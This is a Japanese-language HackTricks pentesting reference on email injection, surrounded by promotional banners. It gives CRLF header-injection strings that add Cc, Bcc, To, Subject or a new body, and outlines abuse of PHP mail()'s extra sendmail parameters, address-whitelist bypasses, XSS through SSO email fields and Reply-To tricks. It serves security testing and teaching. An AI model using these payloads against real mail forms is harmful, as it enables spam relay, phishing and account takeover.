11 KiB
Email Injections
Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築し自動化します。
今すぐアクセスしてください:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
**htARTE (HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキング**を学びましょう!
HackTricksをサポートする他の方法:
- HackTricksで会社を宣伝したい場合やHackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください!
- 公式PEASS&HackTricksスワッグを入手する
- The PEASS Familyを発見し、独占的なNFTsのコレクションを見つける
- 💬 Discordグループまたはtelegramグループに参加するか、Twitter 🐦 @carlospolopmでフォローしてください。
- HackTricksとHackTricks CloudのgithubリポジトリにPRを提出して、ハッキングトリックを共有してください。
送信されたメールにインジェクト
送信者引数の後にCcとBccをインジェクト
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
引数のインジェクション
メッセージは受信者と受信者1のアカウントに送信されます。
From:sender@domain.com%0ATo:attacker@domain.com
サブジェクト引数をインジェクトします
From:sender@domain.com%0ASubject:This is%20Fake%20Subject
メッセージ本文の変更
2行の改行を挿入し、その後にメッセージを書いて、メッセージ本文を変更します。
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
PHP mail() 関数の悪用
# The function has the following definition:
php --rf mail
Function [ <internal:standard> function mail ] {
- Parameters [5] {
Parameter #0 [ <required> $to ]
Parameter #1 [ <required> $subject ]
Parameter #2 [ <required> $message ]
Parameter #3 [ <optional> $additional_headers ]
Parameter #4 [ <optional> $additional_parameters ]
}
}
第5パラメーター($additional_parameters)
このセクションは、攻撃者がそれを制御すると仮定した場合に、このパラメーターを悪用する方法に基づいています。
このパラメーターは、PHPがバイナリsendmailを呼び出すために使用するコマンドラインに追加されます。ただし、escapeshellcmd($additional_parameters)
関数でサニタイズされます。
攻撃者は、この場合にsendmailのための追加パラメーターを注入することができます。
/usr/sbin/sendmailの実装の違い
sendmailインターフェースは、システムにインストールされているMTAメールソフトウェア(Sendmail、Postfix、Eximなど)によって提供されます。基本機能(-t -i -fパラメータなど)は互換性のために同じですが、その他の機能やパラメーターはインストールされているMTAによって大きく異なります。
以下は、sendmailコマンド/インターフェースの異なるマニュアルの例です:
- Sendmail MTA: http://www.sendmail.org/~ca/email/man/sendmail.html
- Postfix MTA: http://www.postfix.org/mailq.1.html
- Exim MTA: https://linux.die.net/man/8/eximReferences
sendmailの起源によって、それらを悪用してファイルを漏洩させたり、任意のコマンドを実行したりするための異なるオプションが発見されています。詳細はこちらを参照してください。
メール名に注入
メールの無視される部分
記号:+、-、および**{}**は、稀な場合にタグ付けや無視されるために多くのメールサーバーによって使用されることがあります。
- 例:john.doe+intigriti@example.com → john.doe@example.com
**かっこ内のコメント()**は、先頭または末尾にある場合も無視されます。
- 例:john.doe(intigriti)@example.com → john.doe@example.com
ホワイトリストのバイパス
引用符
IPアドレス
角かっこ内にドメイン名としてIPアドレスを使用することもできます:
- john.doe@[127.0.0.1]
- john.doe@[IPv6:2001:db8::1]
その他の脆弱性
サードパーティSSO
XSS
githubやsalesforceなどの一部のサービスでは、XSSペイロードの含まれたメールアドレスを作成することができます。このプロバイダーを使用して他のサービスにログインし、このサービスがメールを適切にサニタイズしていない場合、XSSを引き起こす可能性があります。
アカウント乗っ取り
salesforceのようなSSOサービスが、与えられたメールアドレスを確認せずにアカウントを作成することを許可し、その後そのアカウントを使用してsalesforceを信頼する別のサービスにログインできる場合、任意のアカウントにアクセスできます。
(salesforceは与えられたメールが確認されたかどうかを示しますが、アプリケーションはこの情報を考慮すべきです。)
Reply-To
From: company.comとReplay-To: attacker.comを使用してメールを送信し、メールが内部アドレスから送信されたために自動応答が送信される場合、攻撃者はその応答を受信できるかもしれません。
ハードバウンス率
AWSなどの一部のサービスでは、通常10%に設定されたハードバウンス率として知られる閾値を実装しています。これは、特にメール配信サービスにとって重要なメトリックです。この率を超えると、AWSのメールサービスなどが一時停止またはブロックされる可能性があります。
ハードバウンスとは、受信者のアドレスが無効または存在しないために送信者に返送されたメールを指します。これは、メールが存在しないアドレスに送信されたり、実在しないドメインに送信されたり、受信サーバーがメールを受け入れないことによって発生する可能性があります。
AWSの場合、1000通のメールを送信し、そのうち100通がハードバウンス(無効なアドレスやドメインなどの理由で)になった場合、これは10%のハードバウンス率を意味します。この率に達すると、AWS SES(Simple Email Service)がメール送信機能をブロックまたは一時停止する可能性があります。
中断されないメールサービスを確保し、送信者の評判を維持するためには、低いハードバウンス率を維持することが重要です。メーリングリスト内のメールアドレスの品質を監視および管理することは、これを達成するのに大きく役立ちます。
詳細な情報については、AWSの公式ドキュメントであるAWS SES Bounce Handlingを参照してください。
参考文献
- https://resources.infosecinstitute.com/email-injection/
- https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html
- https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view
- https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!
Other ways to support HackTricks:
- If you want to see your company advertised in HackTricks or download HackTricks in PDF Check the SUBSCRIPTION PLANS!
- Get the official PEASS & HackTricks swag
- Discover The PEASS Family, our collection of exclusive NFTs
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @carlospolopm.
- Share your hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化できます。
今すぐアクセスしてください:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}